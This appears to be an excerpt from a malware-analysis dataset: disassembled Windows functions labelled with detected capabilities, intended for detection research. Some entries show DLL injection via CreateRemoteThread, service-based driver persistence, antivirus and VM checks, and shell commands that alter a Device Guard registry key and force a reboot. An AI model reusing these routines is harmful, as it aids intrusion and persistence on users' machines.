joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011870
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400210f2]
call fcn.140011389
xor r8d, r8d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
lea rcx, str.D:mydll.dll
call fcn.140011181
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x24]
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, str.D:mydll.dll
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140019c00]
call fcn.140011325
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014170
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014190
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400141a3
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400141cd
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400141e1
xor al, al
jmp 0x140014211
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400141f3
xor al, al
jmp 0x140014211
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001420f
xor al, al
jmp 0x140014211
mov al, 1
add rsp, 0x38
ret
Function at 0x180001e54
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2c0
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
xor r9d, r9d
lea r8, [rsp + 0xb0]
mov edx, 0x104
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180001030
lea rdx, [0x1800017a8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x80], 0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x180001ef2
xor eax, eax
jmp 0x180002093
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x180001fac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x3e5
je 0x180001fac
cmp dword [rsp + 0x88], 0x431
je 0x180001fac
xor eax, eax
jmp 0x180002093
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x78], rax
lea rax, str.need.dll
mov qword [rsp + 0xa0], rax
lea rax, [0x1800055e0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x8c], 0x1bf52
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call fcn.180002c74
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x18000202e
mov byte [rsp + 0x70], 1
jmp 0x180002033
mov byte [rsp + 0x70], 0
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x180002062
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0x420
je 0x180002062
xor eax, eax
jmp 0x180002093
cmp qword [rsp + 0x78], 0
je 0x180002075
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rsp + 0x80], 0
je 0x18000208e
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add rsp, 0x2c0
pop rdi
ret
Function at 0x18000209c
Capabilities:
Create service
Execute command
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2c0
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
xor r9d, r9d
lea r8, [rsp + 0xb0]
mov edx, 0x104
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180001030
lea rdx, [0x1800017a8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x80], 0
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x18000213a
xor eax, eax
jmp 0x1800022e8
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1800021f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x3e5
je 0x1800021f4
cmp dword [rsp + 0x88], 0x431
je 0x1800021f4
xor eax, eax
jmp 0x1800022e8
mov r8d, 0xf01ff
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x78], rax
lea rax, [0x180005578]
mov qword [rsp + 0xa0], rax
lea rax, [0x180005588]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x8c], 0x1bf52
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call fcn.180002c74
lea rcx, [0x1800055b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x180002283
mov byte [rsp + 0x70], 1
jmp 0x180002288
mov byte [rsp + 0x70], 0
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x1800022b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0x420
je 0x1800022b7
xor eax, eax
jmp 0x1800022e8
cmp qword [rsp + 0x78], 0
je 0x1800022ca
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rsp + 0x80], 0
je 0x1800022e3
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
add rsp, 0x2c0
pop rdi
ret
Function at 0x180002314
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rdx, qword [rsp + 0x290]
mov rcx, qword [0x1800081b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1800023c1
mov rax, qword [rsp + 0x290]
shr rax, 0x10
and rax, 0xffff
movzx eax, ax
test eax, eax
jne 0x180002382
mov r8, qword [rsp + 0x290]
lea rdx, [0x1800053e8]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x290], rax
mov r8, qword [rsp + 0x290]
lea rdx, [0x1800053f0]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9d, 0x10
lea r8, str.AheadLibEx
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0xfffffffe
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x20]
add rsp, 0x288
ret

Function at 0x180002620
Capabilities:
Enumerate processes
Execute command
Set registry value

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x18000265e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.360tray.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1800026b3
mov byte [rsp + 0x20], 1
jmp 0x1800026c6
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180002663
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1800026fb
call fcn.1800027f0
lea rcx, [0x1800057b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x180005838]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x180002700
call fcn.180002f30
add rsp, 0x2a8
ret
Function at 0x180002708
Capabilities:
Enumerate processes
Execute command
Set registry value

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x180002746
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.360Tray.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x18000279b
mov byte [rsp + 0x20], 1
jmp 0x1800027ae
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000274b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1800027e3
call fcn.1800027f0
lea rcx, str.reg_add__HKLMSYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity___v__Enabled___t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1800027e8
call fcn.180002620
add rsp, 0x2a8
ret

Function at 0x180002e18
Capabilities:
Get token membership

Disassembly:
push rbx
push rdi
sub rsp, 0x98
mov dword [rsp + 0x60], 0
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x180002ec8
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x180002ebd
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], 0
je 0x180002f21
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov eax, 1
xor ecx, ecx
cpuid
lea rdi, [rsp + 0x78]
mov dword [rdi], eax
mov dword [rdi + 4], ebx
mov dword [rdi + 8], ecx
mov dword [rdi + 0xc], edx
mov eax, 4
imul rax, rax, 2
mov eax, dword [rsp + rax + 0x78]
and eax, 0x20
test eax, eax
je 0x180002f14
call fcn.180002708
jmp 0x180002f1f
call fcn.180002f30
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
jmp 0x180002f26
call fcn.180002578
add rsp, 0x98
pop rdi
pop rbx
ret
Function at 0x180002f30
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x2a8
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x180002f6e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x40]
call fcn.1800018c4
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.epsrv.exe
mov rcx, qword [rsp + 0x38]
call fcn.180001394
mov byte [rsp + 0x21], al
lea rcx, [rsp + 0x40]
call fcn.180001c4c
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180002fc3
mov byte [rsp + 0x20], 1
jmp 0x180002fd6
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x180002f73
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x180002fff
lea rdx, [0x1800056a0]
lea rcx, [0x1800056f8]
call fcn.180001e54
jmp 0x180003012
lea rdx, str.C:_Windows_System32_drivers_WindowsAD.sys
lea rcx, str.WindowsADctl
call fcn.18000209c
add rsp, 0x2a8
ret

Function at 0x180003054
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x488
cmp dword [rsp + 0x4a8], 1
jne 0x1800031af
mov rcx, qword [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.1800024c4
test eax, eax
je 0x1800031ad
call fcn.1800023d0
test eax, eax
je 0x1800031ad
lea rax, [rsp + 0x60]
lea rcx, str.vmtoolsd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x7a]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x270]
call qword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x270]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x1800031ad
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1800025a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x38], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x48], rax
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x30]
call qword [rsp + 0x50]
cmp dword [rsp + 0x30], 0xa
jb 0x18000317e
call fcn.180002e18
jmp 0x18000319a
mov r9d, 0x30
lea r8, str.VMTools
lea rdx, str.Windows_Version_is_not_support_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp qword [rsp + 0x38], 0
je 0x1800031ad
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800031be
cmp dword [rsp + 0x4a8], 0
jne 0x1800031be
call fcn.1800022f4
mov eax, 1
add rsp, 0x488
pop rdi
pop rsi
ret
Function at 0x2fc4ca320
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cad22
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ef108]
test eax, eax
je 0x2fc4cadba
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ef110]
mov qword [rbp - 8], rax
jmp 0x2fc4cad9e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cad92
cmp qword [rbp - 0x10], 0
je 0x2fc4cad92
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cad58
lea rax, [0x2fc4ef0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cadbb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4caec0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4caee8
mov eax, 0
jmp 0x2fc4caf36
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4caf11
mov eax, 0
jmp 0x2fc4caf36
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4caf31
mov eax, 0
jmp 0x2fc4caf36
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4caf3c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cafba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cafb1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cafb1
mov rax, qword [rbp - 8]
jmp 0x2fc4cafcf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4caf84
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x18000cc20
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18000cc51
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x18000cccb
mov rdi, r14
mov rcx, rbx
call fcn.18000f650
test rax, rax
jle 0x18000cca3
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180036820
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18000ccbb
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18000ccc3
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18000cc65
sub r14, rdi
jmp 0x18000cdaf
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18000cce2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18000cce4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18000cd16
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180036820
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000cdac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18000cd51
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x18000cd8d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.18001fecc
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18000cdac
cmp rbp, rax
ja 0x18000cd60
test rbp, rbp
je 0x18000cdac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.18001fecc
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1800235bc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800235d2
mov al, 1
jmp 0x180023632
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800235e3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180023630
mov ecx, dword [rcx + 0x18]
nop
call fcn.18002e4d4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180023630
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180023630
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
